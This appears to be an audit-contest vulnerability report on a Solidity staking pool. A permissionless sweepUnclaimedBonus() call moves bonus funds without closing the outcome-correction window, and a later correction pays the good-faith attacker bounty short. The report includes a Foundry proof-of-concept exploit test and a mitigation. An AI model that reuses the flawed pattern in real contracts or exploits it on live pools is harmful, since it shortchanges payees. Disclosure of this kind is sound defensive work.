FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: medium

`sweepUnclaimedBonus()` moves settlement value without finalizing the outcome, making later corrections economically incomplete

Author Revealed upon completion

Root + Impact

Normal behavior

Before the first value-moving settlement action, the moderator may correct an incorrectly flagged outcome. Once value has been distributed under an outcome, that distribution must either become final or remain fully accounted for so that any later correction can still produce the corrected payout.

For a good-faith CORRUPTED outcome, the designated attacker bounty is snapshotted from the pool's stake and bonus balances:

snapshotTotalStaked = totalStaked;
snapshotTotalBonus = totalBonus;
corruptedReserve = snapshotTotalStaked + snapshotTotalBonus;
bountyEntitlement = corruptedReserve;

Issue

In a no-risk-window pool, sweepUnclaimedBonus() transfers the tracked bonus to recoveryAddress and decreases totalBonus, but intentionally leaves claimsStarted == false.

Therefore, the function performs outcome-dependent value movement without activating the outcome-finality latch.

A neutral third party can call the sweep after an initial SURVIVED flag but before the moderator corrects it to good-faith CORRUPTED. The correction is still accepted, but its snapshot uses the already-reduced totalBonus.

The result is a mixed settlement:

  • the bonus is distributed according to the earlier SURVIVED state;

  • the remaining principal is distributed according to the corrected CORRUPTED state;

  • the corrected good-faith attacker permanently receives less than under the same correction performed before the sweep.

Even when the sweep itself is permitted, one of two properties must hold:

  1. the value movement must finalize the currently flagged outcome; or

  2. the transferred amount must remain accounted for when a later correction is accepted.

The current implementation does neither.

Conflict with the documented finality model

This behavior directly contradicts the protocol’s documented finality model. The design describes claimsStarted as a value-movement finality latch because, once settlement value leaves the pool, a later outcome correction can no longer be fully honored without producing conflicting distributions.

sweepUnclaimedBonus() nevertheless performs irreversible, outcome-dependent movement of tracked settlement value while leaving claimsStarted == false. The moderator can therefore correct the outcome after part of the pool has already been distributed under the superseded outcome.

The result is a hybrid settlement that combines two incompatible outcomes:

  • the tracked bonus is distributed according to the earlier SURVIVED outcome;

  • the remaining stake is distributed according to the corrected good-faith CORRUPTED outcome.

The PoC proves the resulting economic inconsistency deterministically. With identical pool balances and lifecycle state, correcting before the sweep pays the good-faith attacker 150 tokens, while correcting after the permissionless sweep pays only 100, with the remaining 50 permanently retained by recoveryAddress.

Therefore, the implementation leaves the correction window nominally open after the corrected economic outcome has already become impossible to reproduce.

Root cause

src/ConfidencePool.sol decreases live bonus accounting and transfers the tokens without closing the correction window:

if (riskWindowStart == 0) {
totalBonus -= sweepAmount;
}
stakeToken.safeTransfer(recoveryAddress, sweepAmount);
// The outcome remains re-flaggable because claimsStarted is not set.

A later correction snapshots the reduced value:

if (outcome == PoolStates.Outcome.CORRUPTED) {
snapshotTotalStaked = totalStaked;
// @> This is already reduced by the earlier sweep.
snapshotTotalBonus = totalBonus;
corruptedReserve = snapshotTotalStaked + snapshotTotalBonus;
if (goodFaith) {
bountyEntitlement = corruptedReserve;
}
}

The documented correction mechanism exists to prevent an incorrect initial outcome from locking in the wrong distribution. Here, value leaves the pool before the finality latch is activated, so the subsequent correction can only be partially honored.

Risk

Likelihood

Medium

  • sweepUnclaimedBonus() is permissionless, so no sponsor, moderator, recovery-address or ownership privilege is required to trigger the ordering.

  • The vulnerable state occurs whenever a no-risk-window pool has bonus funds, the moderator initially flags SURVIVED, and then corrects the result to good-faith CORRUPTED.

  • Moderator correction is an explicitly supported protocol transition rather than an unsupported malicious-moderator assumption.

  • A third party only needs to call the sweep between the initial flag and its correction.

Impact

Medium

  • Up to the entire sweepable bonus pool is permanently excluded from the corrected good-faith attacker bounty.

  • The excluded amount is transferred to recoveryAddress and cannot be restored by the later correction.

  • The PoC demonstrates an exact 50 token shortfall: the identical setup pays 150 when correction occurs before the sweep, but only 100 when a neutral third party sweeps first.

  • The loss scales with the bonus balance of the affected pool.

Proof of Concept

Create the following file:

test/audit/CorrectionWindowSweepExploit.t.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {Clones} from
"@openzeppelin/contracts/proxy/Clones.sol";
import {ERC20} from
"@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from
"@battlechain/interface/IAttackRegistry.sol";
contract PoCMockERC20 is ERC20 {
constructor() ERC20("Mock Token", "MOCK") {}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
contract PoCMockAgreement {
address internal agreementOwner;
mapping(address account => bool inScope)
internal scopedAccounts;
constructor(address owner_) {
agreementOwner = owner_;
}
function owner() external view returns (address) {
return agreementOwner;
}
function setContractInScope(
address account,
bool inScope
) external {
scopedAccounts[account] = inScope;
}
function isContractInScope(
address account
) external view returns (bool) {
return scopedAccounts[account];
}
}
contract PoCMockAttackRegistry {
IAttackRegistry.ContractState internal agreementState;
address internal attackModerator;
function setAgreementState(
IAttackRegistry.ContractState newState
) external {
agreementState = newState;
}
function setAttackModerator(
address newModerator
) external {
attackModerator = newModerator;
}
function getAgreementState(
address
)
external
view
returns (IAttackRegistry.ContractState)
{
return agreementState;
}
function getAttackModerator(
address
) external view returns (address) {
return attackModerator;
}
}
contract PoCMockSafeHarborRegistry {
address internal attackRegistry;
address internal agreementFactory;
mapping(address agreement => bool valid)
internal validAgreements;
function setAttackRegistry(
address newAttackRegistry
) external {
attackRegistry = newAttackRegistry;
}
function setAgreementFactory(
address newAgreementFactory
) external {
agreementFactory = newAgreementFactory;
}
function setAgreementValid(
address agreement,
bool valid
) external {
validAgreements[agreement] = valid;
}
function getAttackRegistry()
external
view
returns (address)
{
return attackRegistry;
}
function getAgreementFactory()
external
view
returns (address)
{
return agreementFactory;
}
function isAgreementValid(
address agreement
) external view returns (bool) {
return validAgreements[agreement];
}
}
contract CorrectionWindowSweepExploitTest is Test {
uint256 internal constant ONE = 1e18;
uint256 internal constant BASE_TIMESTAMP = 1_750_000_000;
address internal constant SCOPE_ACCOUNT =
address(0xC0FFEE);
PoCMockERC20 internal token;
PoCMockAttackRegistry internal attackRegistry;
PoCMockSafeHarborRegistry internal safeHarborRegistry;
PoCMockAgreement internal agreement;
ConfidencePool internal pool;
address internal moderator;
address internal recovery;
address internal goodFaithAttacker;
address internal alice;
address internal carol;
address internal neutralCaller;
function setUp() public {
vm.warp(BASE_TIMESTAMP);
moderator = makeAddr("moderator");
recovery = makeAddr("recovery");
goodFaithAttacker = makeAddr("goodFaithAttacker");
alice = makeAddr("alice");
carol = makeAddr("carol");
neutralCaller = makeAddr("neutralCaller");
token = new PoCMockERC20();
attackRegistry = new PoCMockAttackRegistry();
safeHarborRegistry =
new PoCMockSafeHarborRegistry();
agreement = new PoCMockAgreement(address(this));
agreement.setContractInScope(
SCOPE_ACCOUNT,
true
);
safeHarborRegistry.setAttackRegistry(
address(attackRegistry)
);
safeHarborRegistry.setAgreementValid(
address(agreement),
true
);
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.NEW_DEPLOYMENT
);
ConfidencePool implementation =
new ConfidencePool();
pool = ConfidencePool(
Clones.clone(address(implementation))
);
address[] memory scope = new address[](1);
scope[0] = SCOPE_ACCOUNT;
pool.initialize(
address(agreement),
address(token),
address(safeHarborRegistry),
moderator,
block.timestamp + 31 days,
ONE,
recovery,
address(this),
scope
);
}
function _stake(
address user,
uint256 amount
) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(pool), amount);
pool.stake(amount);
vm.stopPrank();
}
function _contributeBonus(
address contributor,
uint256 amount
) internal {
token.mint(contributor, amount);
vm.startPrank(contributor);
token.approve(address(pool), amount);
pool.contributeBonus(amount);
vm.stopPrank();
}
function testExploit_sweepBeforeCorrectionReducesBounty()
external
{
_stake(alice, 100 * ONE);
_contributeBonus(carol, 50 * ONE);
// The registry has reached terminal CORRUPTED, but
// the moderator initially flags SURVIVED.
//
// No risk-window observation occurred, so the full
// bonus is considered sweepable.
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.CORRUPTED
);
vm.prank(moderator);
pool.flagOutcome(
PoolStates.Outcome.SURVIVED,
false,
address(0)
);
assertEq(
pool.riskWindowStart(),
0,
"no local risk-window observation"
);
assertFalse(
pool.claimsStarted(),
"correction window should be open"
);
uint256 recoveryBefore =
token.balanceOf(recovery);
// Any neutral third party can perform the sweep.
vm.prank(neutralCaller);
pool.sweepUnclaimedBonus();
assertEq(
token.balanceOf(recovery) - recoveryBefore,
50 * ONE,
"entire bonus was transferred to recovery"
);
// Despite actual value movement, the outcome remains
// correctable.
assertFalse(
pool.claimsStarted(),
"sweep did not activate finality"
);
// The moderator corrects the initial outcome to
// good-faith CORRUPTED.
vm.prank(moderator);
pool.flagOutcome(
PoolStates.Outcome.CORRUPTED,
true,
goodFaithAttacker
);
assertEq(
pool.snapshotTotalStaked(),
100 * ONE,
"principal is included"
);
assertEq(
pool.snapshotTotalBonus(),
0,
"swept bonus is absent from corrected snapshot"
);
assertEq(
pool.bountyEntitlement(),
100 * ONE,
"corrected bounty contains principal only"
);
uint256 attackerBefore =
token.balanceOf(goodFaithAttacker);
vm.prank(goodFaithAttacker);
pool.claimAttackerBounty();
assertEq(
token.balanceOf(goodFaithAttacker)
- attackerBefore,
100 * ONE,
"attacker receives only principal"
);
assertEq(
token.balanceOf(recovery),
recoveryBefore + 50 * ONE,
"recovery retains the pre-correction bonus"
);
}
function testControl_correctionBeforeSweepPaysFullBounty()
external
{
_stake(alice, 100 * ONE);
_contributeBonus(carol, 50 * ONE);
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.CORRUPTED
);
vm.prank(moderator);
pool.flagOutcome(
PoolStates.Outcome.SURVIVED,
false,
address(0)
);
// The same correction is executed before any sweep.
vm.prank(moderator);
pool.flagOutcome(
PoolStates.Outcome.CORRUPTED,
true,
goodFaithAttacker
);
assertEq(
pool.snapshotTotalStaked(),
100 * ONE
);
assertEq(
pool.snapshotTotalBonus(),
50 * ONE,
"full bonus remains in corrected snapshot"
);
assertEq(
pool.bountyEntitlement(),
150 * ONE,
"corrected bounty includes stake and bonus"
);
uint256 attackerBefore =
token.balanceOf(goodFaithAttacker);
vm.prank(goodFaithAttacker);
pool.claimAttackerBounty();
assertEq(
token.balanceOf(goodFaithAttacker)
- attackerBefore,
150 * ONE,
"ordering alone creates the 50 token delta"
);
}
}

Run:

forge test \
--match-path test/audit/CorrectionWindowSweepExploit.t.sol \
-vv

Expected output:

Ran 2 tests for
test/audit/CorrectionWindowSweepExploit.t.sol:
CorrectionWindowSweepExploitTest
[PASS]
testControl_correctionBeforeSweepPaysFullBounty()
[PASS]
testExploit_sweepBeforeCorrectionReducesBounty()
Suite result: ok. 2 passed; 0 failed; 0 skipped

The exploit and control use:

  • the same pool configuration;

  • the same registry state;

  • the same 100 stake;

  • the same 50 bonus;

  • the same initial and corrected outcomes.

The only difference is whether the permissionless sweep occurs before the correction. That ordering alone permanently changes the corrected payout from 150 to 100.

Recommended Mitigation

Treat any tracked-bonus sweep as outcome-finalizing value movement.

A minimal fix is to activate the same finality latch used by other value-moving settlement paths:

function sweepUnclaimedBonus() external {
uint256 sweepAmount = _calculateSweepableBonus();
if (riskWindowStart == 0) {
totalBonus -= sweepAmount;
}
+ // Bonus has now been irreversibly distributed according
+ // to the currently flagged outcome. Prevent a later
+ // correction from creating a conflicting distribution.
+ claimsStarted = true;
stakeToken.safeTransfer(
recoveryAddress,
sweepAmount
);
}

For checks-effects-interactions ordering, the state update should occur before the transfer.

Alternatively, if outcome correction must remain available after the sweep, the protocol must preserve the pre-sweep gross bonus and account for the amount already transferred to recoveryAddress when constructing the corrected CORRUPTED entitlement. Merely snapshotting the reduced live totalBonus is insufficient.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!